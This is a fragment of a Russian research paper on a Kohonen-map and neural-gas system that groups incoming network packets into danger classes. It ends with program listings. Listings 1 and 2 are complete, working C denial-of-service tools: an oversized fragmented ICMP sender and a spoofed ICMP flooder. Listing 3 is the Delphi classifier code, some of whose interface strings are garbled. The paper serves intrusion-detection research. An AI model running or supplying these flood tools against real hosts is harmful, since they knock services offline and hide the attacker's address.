Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа
p align="left">Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.Заключение В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP - соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов. Список используемой литературы 1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). - СПб.: Питер 2003. - 864 с.: ил. 2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных” 4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. -2-е изд., стереотип. - Москва: Горячая линия - Телеком, 2002 г. - 382 с.: ил. 5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” - Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. -276 с.: ил. 6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” - Москва.: Мир, 1992 -182 стр.: ил. 7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” - Москва.: “Нолидж”, 2000 г., - 356с.: ил. 8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. -335 с: ил. 9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. - Листинг программ 1.Атака лавинного типа (запрос на создание TCP-соедиения) #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif int main(int argc, char **argv) { int s; char buf[1500]; struct ip *ip = (struct ip *)buf; struct icmp *icmp = (struct icmp *)(ip + 1); struct hostent *hp; struct sockaddr_in dst; int offset; int on = 1; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc != 2) { fprintf(stderr, "usage: %s hostname\n", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = FIX(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills in */ ip->ip_src.s_addr = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0's is easy to compute */ for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3); if (offset < 65120) ip->ip_off |= FIX(IP_MF); else ip->ip_len = FIX(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0; } } } Листинг 2. Атака лавинного типа подменёнными ICMP - пакетами. #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/ip_icmp.h> #define IPHDRSIZE sizeof(struct iphdr) #define ICMPHDRSIZE sizeof(struct icmphdr) #define VIRGIN "1.1" void version(void) { printf("flood %s - by FA-Q\n", VIRGIN); } void usage(const char *progname) { printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname); } unsigned char *dest_name; unsigned char *spoof_name = NULL; struct sockaddr_in destaddr, spoofaddr; unsigned long dest_addr; unsigned long spoof_addr; unsigned pingsize, pingsleep, pingnmbr; char flood = 0; unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } int resolve( const char *name, struct sockaddr_in *addr, int port ) { struct hostent *host; bzero((char *)addr,sizeof(struct sockaddr_in)); if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"%s will not resolve\n",name); perror(""); return -1; } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); addr->sin_port = htons(port); return 0; } unsigned long addr_to_ulong(struct sockaddr_in *addr) { return addr->sin_addr.s_addr; } int resolve_one(const char *name, unsigned long *addr, const char *desc) { struct sockaddr_in tempaddr; if (resolve(name, &tempaddr,0) == -1) { printf("%s will not resolve\n",desc); return -1; } *addr = tempaddr.sin_addr.s_addr; return 0; } int resolve_all(const char *dest, const char *spoof) { if (resolve_one(dest,&dest_addr,"dest address")) return -1; if (spoof!=NULL) if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1; spoofaddr.sin_addr.s_addr = spoof_addr; spoofaddr.sin_family = AF_INET; destaddr.sin_addr.s_addr = dest_addr; destaddr.sin_family = AF_INET; } void give_info(void) { printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name); } int parse_args(int argc, char *argv[]) { int opt; char *endptr; while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) { switch(opt) { case 'f': flood = 1; break; case 'c': pingnmbr = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s is an invalid number '%s'.\n", argv[0], optarg); return -1; } break; case 's': pingsize = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s is a bad packet size '%s'\n", argv[0], optarg); return -1; } break; case 'i': pingsleep = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s is a bad wait time '%s'\n", argv[0], optarg); return -1; } break; case 'V': version(); break; case '?': case ':': return -1; break; } } if (optind > argc-2) { return -1; } if (!pingsize) pingsize = 28; else pingsize = pingsize - 36; if (!pingsleep) pingsleep = 100; spoof_name = argv[optind++]; dest_name = argv[optind++]; return 0; } inline int icmp_echo_send(int socket, unsigned long spoof_addr, unsigned long t_addr, unsigned pingsize) { unsigned char packet[5122]; struct iphdr *ip; struct icmphdr *icmp; struct iphdr *origip; unsigned char *data; int i; ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet+IPHDRSIZE); origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE); data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE); memset(packet, 0, 5122); ip->version = 4; ip->ihl = 5; ip->ttl = 255-random()%15; ip->protocol = IPPROTO_ICMP; ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8); bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr)); bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); ip->check = in_cksum(packet,IPHDRSIZE); origip->version = 4; origip->ihl = 5; origip->ttl = ip->ttl - random()%15; origip->protocol = IPPROTO_TCP; origip->tot_len = IPHDRSIZE + 30; origip->id = random()%69; bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr)); origip->check = in_cksum(origip,IPHDRSIZE); *((unsigned int *)data) = htons(pingsize); icmp->type = 8; /* why should this be 3? */ icmp->code = 0; icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8); return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0, (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); } void main(int argc, char *argv[]) { int s, i; int floodloop; if (parse_args(argc,argv)) { usage(argv[0]); return; } resolve_all(dest_name, spoof_name); give_info(); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!flood) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s error sending packet\n",argv[0]); perror(""); return; } } else { floodloop = 0; if ( pingnmbr && (pingnmbr > 0) ) { printf("sending... packet limit set\n"); for (i=0;i<pingnmbr;i++) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s error sending packet\n",argv[0]); perror(""); return; } usleep((pingsleep*1000)); if (!(floodloop = (floodloop+1)%25)) { fprintf(stdout,"."); fflush(stdout); } } printf("\ncomplete, %u packets sent\n", pingnmbr); } else { printf("flooding, (. == 25 packets)\n"); for (i=0;i<1;i) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s error sending packet\n",argv[0]); perror(""); return; } usleep(900); if (!(floodloop = (floodloop+1)%25)) { fprintf(stdout,"."); fflush(stdout); } } } } } Листинг 3. Самоорганизующаяся карта признаков. TNeuron = class public IntVal : TIntArray; ExtVal : TExtArray; Pos : Extended; Status : Extended; Y : Extended; MassWeight : Array of Extended; constructor Init(a : PIntArray; b : PExtArray); function FunctionActivation : Extended; procedure GetAksonValue(a : PExtArray); procedure Randomization; procedure Distantion(a : PExtArray); end; TLayer = class public ExtArr : TExtArray; Neurons : Array of TNeuron; QNeurons : integer; QInputs : integer; InputValues : Array of Extended; OutputValues : Array of Extended; constructor Init(a : PIntArray; b : PExtArray); procedure GetInputValues(Values : PExtArray); procedure GetOutputValues; procedure Excitement; procedure randomization; end; TKohonenLayer = class(TLayer) public eta,sigma : Extended; h,w : Word; constructor Init(a : PIntArray; b : PExtArray); procedure Normalize; function TheWinnerTakesItAll : integer; function Classic : integer; procedure Learning(a : integer; SpeedLearn : Extended); procedure LearningNeib(a : integer; SpeedLearn : Extended); procedure SigmaInit(s : Extended); procedure ConvexCombination(delta : Extended); procedure NeuralGaz(SpeedLearn : Extended); end; procedure TKohonenLayer.SigmaInit(s : Extended); begin Sigma:=s; end; procedure TKohonenLayer.ConvexCombination(delta : Extended); var i : integer; begin eta:=eta+delta; sigma:=sigma+0.1-10*delta; for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs); end; constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray); var i : integer; New : TIntArray; begin Inherited Init(a,b); New:=a^; H:=New.Value[3]; W:=Round(New.Value[2]/New.Value[3]); Randomization; for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75; eta:=0; end; procedure TKohonenLayer.Normalize; var i : integer; Sum : Extended; begin Sum:=0; for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]); for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]/Sqrt(Sum); end; function TKohonenLayer.TheWinnerTakesItAll : integer; var i,p : integer; Min : Extended; begin Min:=Neurons[0].Y; p:=0; for i:=1 to QNeurons-1 do begin if Neurons[i].Pos>0.75 then if Min>Neurons[i].Y then begin p:=i; Min:=Neurons[i].Y; end; end; for i:=0 to QNeurons-1 do Neurons[i].Y:=0; for i:=0 to QNeurons-1 do if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75 else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons; Neurons[p].Y:=1; GetOutputValues; TheWinnerTakesItAll:=p; end; function TKohonenLayer.Classic : integer; var i,p : integer; Min : Extended; begin Min:=Neurons[0].Y; p:=0; for i:=1 to QNeurons-1 do begin if Min>Neurons[i].Y then begin p:=i; Min:=Neurons[i].Y; end; end; for i:=0 to QNeurons-1 do Neurons[i].Y:=0; Neurons[p].Y:=1; GetOutputValues; Classic:=p; end; procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended); var i : integer; begin for i:=1 to QInputs do Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+ SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]); end; procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended); var i,j : integer; begin for j:=0 to QNeurons-1 do begin for i:=1 to QInputs do Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+ exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma))) *SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]); end; end; procedure TKohonenLayer.NeuralGaz(SpeedLearn : Extended); var i,j,k,p : integer; Mass : Array of Extended; Min : Extended; begin SetLength(Mass,QNeurons); for i:=0 to QNeurons-1 do Mass[i]:=-1; p:=0; for i:=0 to QNeurons-1 do begin p:=p+1; Min:=999999; k:=-1; for j:=0 to QNeurons-1 do begin if Neurons[j].Y<Min then if Mass[j]=-1 then begin k:=j; Min:=Neurons[j].Y; end; end; Mass[k]:=p; end; for j:=0 to QNeurons-1 do begin for i:=1 to QInputs do Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+ exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]); end; end; constructor TNeuron.Init(a : PIntArray; b : PExtArray); var New : TIntArray; begin New:=a^; ExtVal:=b^; IntVal:=TIntArray.Init(2); IntVal.Value[0]:=New.Value[0]+1; IntVal.Value[1]:=New.Value[1]; SetLength(MassWeight,IntVal.Value[0]); if IntVal.Value[0]>0 then MassWeight[0]:=0; Status:=0; Y:=0; Pos:=0; end; procedure TNeuron.GetAksonValue(a : PExtArray); var i : integer; b : TExtArray; begin b:=a^; Status:=MassWeight[0]; for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1]; Y:=FunctionActivation; end; procedure TNeuron.Distantion(a : PExtArray); var i : integer; b : TExtArray; begin b:=a^; Status:=0; for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]); Y:=Sqrt(Y); end; function TNeuron.FunctionActivation : Extended; Var m : Extended; begin case IntVal.Value[1] of 1 : m:=1/(1+exp(-ExtVal.Value[0]*Status)); 2 : m:=ExtVal.Value[0]*Status; end; FunctionActivation:=m; end; procedure TNeuron.Randomization; var i : integer; begin for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255); end; constructor TLayer.Init(a : PIntArray; b : PExtArray); var i : integer; //c : TIntArray; IntArr : TIntArray; begin IntArr:=a^; QInputs:=IntArr.Value[0]; QNeurons:=IntArr.Value[2]; IntArr.NewLength(2); ExtArr:=b^; SetLength(Neurons,SizeOf(TNeuron)*QNeurons); for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b); SetLength(InputValues,QInputs); for i:=0 to QInputs-1 do InputValues[i]:=0; SetLength(OutputValues,QNeurons); end; procedure TLayer.GetInputValues(Values : PExtArray); var i : integer; a : TExtArray; begin a:=Values^; for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i]; end; procedure TLayer.Excitement; var i : integer; a : TExtArray; begin a:=TExtArray.Init(QInputs); for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i]; for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a); GetOutputValues; end; procedure TLayer.GetOutputValues; var i : integer; begin for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y; end; procedure TLayer.randomization; var i : integer; begin for i:=0 to QNeurons-1 do Neurons[i].Randomization; end; procedure TForm1.Button2Click(Sender: TObject); var F : TextFile; i,j,p,s1,s2,k : integer; Str : String; Ch : Char; Sum : integer; Temp : Array of String; begin OpenDialog1.Filter:='?o?iaeuiue oaee|*.log|'; if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then begin AssignFile(F,OpenDialog1.FileName); Reset(F); ReadLn(F); Read(F,Q); SetLength(Prot,Q); SetLength(Host,Q); SetLength(LocalH,Q); SetLength(Frag,Q); SetLength(Size,Q); SetLength(Proc,Q); SetLength(Active,Q); SetLength(HACK,Q); MyList.Clear; MyList.Add('Iiia?'); MyList.Add('I?ioieie'); MyList.Add('Oino'); MyList.Add('Naiy EAN'); MyList.Add('O?aaiaioaoey'); MyList.Add('?acia?'); MyList.Add('I?ioanni? %%'); MyList.Add('Ioaa?aao'); StringGrid1.RowCount:=Q+1; StringGrid1.Rows[0]:=MyList; for i:=0 to Q-1 do begin MyList.Clear; Read(F,j); MyList.Add(IntToStr(j)); //Memo4.Lines.Add(IntToStr(j)); Read(F,Ch); Read(F,Ch); Read(F,Ch); Prot[i]:=''; While(ch<>' ') do begin Prot[i]:=Prot[i]+Ch; Read(F,Ch); end; MyList.Add(Prot[i]); Read(F,Ch); Read(F,Ch); Read(F,Ch); Host[i]:=''; While(ch<>' ') do begin Host[i]:=Host[i]+Ch; Read(F,Ch); end; MyList.Add(Host[i]); Read(F,Ch); Read(F,Ch); Str:=''; While(ch<>' ') do begin Str:=Str+Ch; Read(F,Ch); end; MyList.Add(Str); if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0; Read(F,Ch); Read(F,Ch); Str:=''; While(ch<>' ') do begin Str:=Str+Ch; Read(F,Ch); end; MyList.Add(Str); if Str='YES' then Frag[i]:=1 else Frag[i]:=0; Read(F,Size[i]); MyList.Add(IntToStr(Size[i])); Read(F,Proc[i]); MyList.Add(IntToStr(Proc[i])); Read(F,Ch); Read(F,Ch); Read(F,Ch); Str:=''; While(ch<>' ') do begin Str:=Str+Ch; Read(F,Ch); end; MyList.Add(Str); if Str='YES' then Active[i]:=1 else Active[i]:=0; StringGrid1.Rows[j]:=MyList; Read(F,Ch); if Ch='H' then HACK[i]:=1 else HACK[i]:=0; //Memo4.Lines.Add('**************'); end; //Memo4.Lines.Add(IntToStr(Q)); CloseFile(F); SetLength(Temp,10); SetLength(Mass,(Q-1)*11); SetLength(SHack,Q-1); for i:=0 to Q-12 do begin Mass[12*i]:=0; for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j]; Mass[12*i+1]:=0; for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j]; Mass[12*i+2]:=0; Mass[12*i+3]:=0; for j:=0 to 9 do if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1; for j:=0 to 9 do if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1; Sum:=1; s1:=0; for j:=0 to 9 do begin Str:=Host[i+j]; p:=0; for k:=0 to 9 do begin if Str=Host[i+k] then begin p:=p+1; s2:=k; end; end; if p>Sum then begin Sum:=p; s1:=s2; end; end; Mass[12*i+4]:=Sum; Mass[12*i+5]:=LocalH[i+s1]; Sum:=0; for j:=0 to 9 do Sum:=Sum+Proc[i+j]; Mass[12*i+6]:=Sum/10; Mass[12*i+7]:=Proc[i+9]-Proc[i]; Sum:=0; for j:=0 to 9 do Sum:=Sum+Size[i+j]; Mass[12*i+8]:=Sum/10; Sum:=0; for j:=0 to 9 do if (Size[i+j]>=0.8*Mass[12*i+8])and (Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1; Mass[12*i+9]:=Sum; Sum:=0; for j:=0 to 9 do Sum:=Sum+Active[i+j]; Mass[12*i+10]:=Sum; for j:=0 to 9 do Temp[j]:=Host[i+j]; for j:=0 to 8 do begin Str:=Temp[j]; for k:=0 to 9 do if k<>j then if Str=Temp[k] then Temp[k]:=''; end; Sum:=0; for j:=0 to 9 do if Temp[j]<>'' then Sum:=Sum+1; Mass[12*i+11]:=Sum; Sum:=0; for j:=0 to 9 do Sum:=Sum+HACK[i+j]; SHAck[i]:=Sum; end; end; end; procedure TForm1.InitializationMap; var i,j,p : integer; begin for i:=0 to H*W-1 do begin p:=Random(Q-13); for j:=0 to 10 do KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j]; end; end; procedure TForm1.Button3Click(Sender: TObject); var i,j,p,k,m : integer; Quant,Winner : integer; Part : TExtArray; SMax,SMin : Extended; begin InitializationMap; for i:=0 to Image1.Height-1 do for j:=0 to Image1.Width-1 do Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150); Quant:=StrToInt(Edit3.Text); Part:=TExtArray.Init(12); SMax:=0.7; SMin:=0.0001; ProgressBar1.Max:=Quant; ProgressBar1.Position:=0; for i:=0 to Quant-1 do begin KMap.SigmaInit(10*(1-i/Quant)+0.1); p:=Random(Q-12); for j:=0 to 11 do Part.Value[j]:=Mass[12*p+j]; KMap.GetInputValues(@Part); KMap.Excitement; Case RadioGroup1.ItemIndex of 0: begin Winner:=KMap.Classic; if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant) else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant); end; 1: begin Winner:=KMAp.TheWinnerTakesItAll; if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant) else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant) end; 2: begin KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant); end; end; ProgressBar1.StepBy(1); end; ProgressBar1.Position:=0; for i:=0 to KMap.QNeurons-1 do KMap.Neurons[i].MassWeight[0]:=0; for i:=0 to Q-12 do begin for j:=0 to 11 do Part.Value[j]:=Mass[12*i+j]; KMap.GetInputValues(@Part); KMap.Excitement; Winner:=KMap.Classic; KMap.Neurons[Winner].MassWeight[0]:=1; //Memo4.Lines.Add(IntToStr(Winner)); if SHack[i]>=8 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0); end else if SHack[i]=7 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40); end else if SHack[i]=6 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80); end else if SHack[i]=5 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120); end else if SHack[i]=4 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160); end else if SHack[i]=3 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200); end else begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225); end; //Image2.Picture.Bitmap.Canvas. //.Pixels[j,i]:=RGB( end; for i:=0 to KMap.QNeurons-1 do begin if KMap.Neurons[i].MassWeight[0]=1 then begin Memo3.Lines.Add('Iae?ii '+IntToStr(i)); for j:=0 to KMap.QInputs-1 do Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j])); end; end; end;
Страницы: 1, 2
|